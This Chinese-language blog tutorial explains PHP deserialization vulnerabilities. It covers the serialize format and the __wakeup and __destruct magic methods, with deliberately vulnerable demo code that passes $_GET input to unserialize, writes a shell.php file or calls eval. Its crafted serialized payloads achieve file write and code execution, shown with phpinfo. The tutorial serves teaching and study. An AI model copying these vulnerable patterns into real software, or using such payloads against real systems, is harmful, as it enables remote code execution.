php反序列化漏洞 谁践踏了优雅 2022-11-17 05:23 194阅读 0赞 ### 文章目录 ### * 成因 * php * * 1. 序列化serialize * 2. 反序列化unserizlize * 3.魔法函数 * * * 1.测试 * 2.复杂点的例子 * 4.总结 * 补充: * 漏洞复现 * 参考文章 # 成因 # `传给反序列化函数的参数用户可控。` \_\_destruct() 和 \_\_wakeup() 两个方法中前者是在对象被销毁时程序会自动调用,后者是在类对象被反序列化时被调用.所以这两个方法是在 对象反序列化一直到程序执行完毕这整个过程中,必定会被调用的方法,如果在这两个函数中有一些危险的动作,并且能够被我们所利用,那么漏洞并出现了。 总的来说,反序列化也是一种`注入型漏洞`。 # php # 我们先看看正常的序列化与反序列化过程: ## 1. 序列化serialize ## 测试代码 <?php class sfl{ var $test= '123'; var $aa = 'z'; var $q; } $class1 = new sfl; $arr=array('tom','cody','ffffff'); $class1_ser = serialize($class1); print_r('class======>'.$class1_ser.'<br>'); print_r('string=====>'.serialize('abc')."<br>"); print_r('array======>'.serialize($arr)); ?> ![在这里插入图片描述][20210408174255352.png] -------------------- 以下面这行为例子: class======>O:3:"sfl":3:{s:4:"test";s:3:"123";s:2:"aa";s:1:"z";s:1:"q";N;} 对这些参数进行解释: 1. `O`代表object,就是说传给serialize函数的数据是对象,加入我们传入的是数组那么开头就会变成字母a,跟第三行一样。 2. `3`代表对象名称有三个字符。 3. `sfl`为对象名 4. `1`表示对象中有一组数据 5. `{s:4:"test";s:3:"123";s:2:"aa";s:1:"z";s:1:"q";N;}`表示数据内容,其中s表示第一组数据参数的内容,s表示字符串,4表示这组字符串是4个,"test"表示参数名,后面的123表示test参数的内容,一般情况都是这样两个一组。 6. 数组也就是第三行数据`array======>a:3:{i:0;s:3:"tom";i:1;s:4:"cody";i:2;s:6:"ffffff";}`i表示序号,其余同上。 ## 2. 反序列化unserizlize ## 测试代码 <?php class sfl{ var $test = '123'; } $sfl = new sfl(); print_r(serialize($sfl)); echo "</br>"; $class2_unser = unserialize(serialize($sfl)); print_r($class2_unser); ?> ![在这里插入图片描述][20210409110601215.png] ## 3.魔法函数 ## 一般涉及到下面两个函数,因为这两个函数是在反序列化过程中必定会被调用的,如果这两个函数的内容有漏洞,那么一般就可以成为反序列化漏洞的利用点。 析构函数__destruct():当对象被销毁时会自动调用。 __wakeup() :如前所提,unserialize()时会自动调用。 我们心里首先得有一个逻辑,用下面的代码举例子: <?php class sfl{ var $test = '123'; function __wakeup(){ echo "__wakeup"; echo "</br>"; } function __destruct(){ echo "__destruct"; echo "</br>"; } } $class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}'; print_r($class2); echo "</br>"; $class2_unser = unserialize($class2); print_r($class2_unser); echo "</br>"; ?> 如果这时候直接执行,那么会报错,因为原文件中没有一个名为chybeta的类,`class2的值的含义就是一个名为chybeta的类,里面有个参数为test=123`,因此会报错: ![在这里插入图片描述][20210409113720882.png] 如果我们要反序列化传入一个对象,那么原文件中应该有这个对相对应的类。 #### 1.测试 #### <?php class sfl{ var $test = '123'; function __wakeup(){ $fp = fopen("shell.php","w") ; fwrite($fp,$this->test); fclose($fp); } } $class3 = $_GET['test']; print_r($class3); echo "</br>"; $class3_unser = unserialize($class3); require "shell.php"; ?> 上面代码的逻辑是: 1. 接收一个test的get型参数并赋值给class3 2. 打印class3 3. 对class3进行反序列化,然后执行\_wakeup函数 4. 打开shell.php并将sfl类的test变量的值写入到其中。 5. 包含shell.php文件 我们只要传入一个恶意的被序列化后的值即可实现恶意文件写入。 O:3:"sfl":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";} ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70] #### 2.复杂点的例子 #### 我们看看如下代码: <?php class chybeta { var $test; function __construct() { $this->test = new ph0en1x(); } function __destruct() { $this->test->action(); } } class ph0en1x { function action() { echo "ph0en1x"; } } class ph0en2x { var $test2; function action() { eval($this->test2); } } $class6 = new chybeta(); unserialize($_GET['test']); ?> ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1] 程序执行逻辑是这个样子的: 1.new 一个chybeta对象,名为class6. 2.\_\_construct()被调用,又创建了一个对象ph0en1x,名为test。 3.unserialize函数执行完触发\_\_destruct函数,执行了test里面的action函数。 因为反序列化的时候是不会触发\_\_construct(),所以我们可以直接给chybeta的test参数赋值,让其的值变为一个恶意对象,然后触发\_\_destruct函数,造成攻击,生成恶意payload的代码如下: <?php class chybeta { var $test; function __construct() { $this->test = new ph0en2x(); } function __destruct() { $this->test->action(); } } class ph0en2x { var $test2="<?php phpinfo();?>"; } $a = new chybeta(); print_r(serialize($a)); ?> ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2] 用以下payload进行攻击,成功出线phpinfo页面: O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}} ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3] ## 4.总结 ## 反序列化攻击感觉就是关注两个魔法函数析构函数\_\_destruct(),\_\_wakeup() 然后根据其代码内容构造恶意输入传入,造成攻击。 `反序列化传入数据感觉就是new了一个对象,然后更改里面的数据,但更改不了函数的具体内容,只能更改传入的值。`例如上面的例子就是我们通过反序列化传入一个对象,让其间接更改了chybeta类中test的值与ph0en2x类中test2的值。 ## 补充: ## <?php class test{ private $data = '1'; public function __wakeup(){ echo '<br>wakeup-->'; echo $this->data; echo '<br>'; } public function __destruct(){ echo '<br>destruct-->'; echo $this->data; } } print_r(serialize(new test())); $se = $_GET['se']; print_r(unserialize($se)); ?> > 程序执行逻辑如下: > 执行print\_r(serialize(new test()));后触发\_\_destruct对象销毁函数,此时data为1. > 执行print\_r(unserialize($se));先触发wakeup再触发destruct,此时根据我们传入的反序列化对象来定义data参数。 上面这个例子中,data是private类型的数据,如果我们创建一个下面这种反序列化数据是无法改变程序的输出的,它的wakeup函数与destruct函数输出还是1: O:4:"test":1:{s:10:"testdata";s:1:"3";} ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4] 如果我们创建下面的数据传入即可改变程序的输出,`我们传入的数据其实是将test类中的data参数的属性改为类var,然后再改动的data的值`: O:4:"test":1:{s:4:"data";s:1:"2";} ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5] # 漏洞复现 # # 参考文章 # [浅谈php反序列化漏洞][php] [20210408174255352.png]: /images/20221022/4cc13aca51e843898a6e3a9feabf7c84.png [20210409110601215.png]: /images/20221022/41b13c3af02a457f9c81d2a4a7b04b60.png [20210409113720882.png]: /images/20221022/2e2e48b2636a47758d79f50316bc46ba.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221022/619f2ce6aa80432a97ced8cfeaa8c3ff.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 1]: /images/20221022/4071e5bf0a624b008dd47b384a15a44c.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 2]: /images/20221022/beaa1ae210cb477eb34825d7c052c5fa.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 3]: /images/20221022/c98126d6f3434f1080a95ea4ea431e03.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 4]: /images/20221022/23f8e7b912324317b998e96f0e40aba6.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70 5]: /images/20221022/30ca077bca2349e78809542680ebb0bf.png [php]: https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
还没有评论,来说两句吧...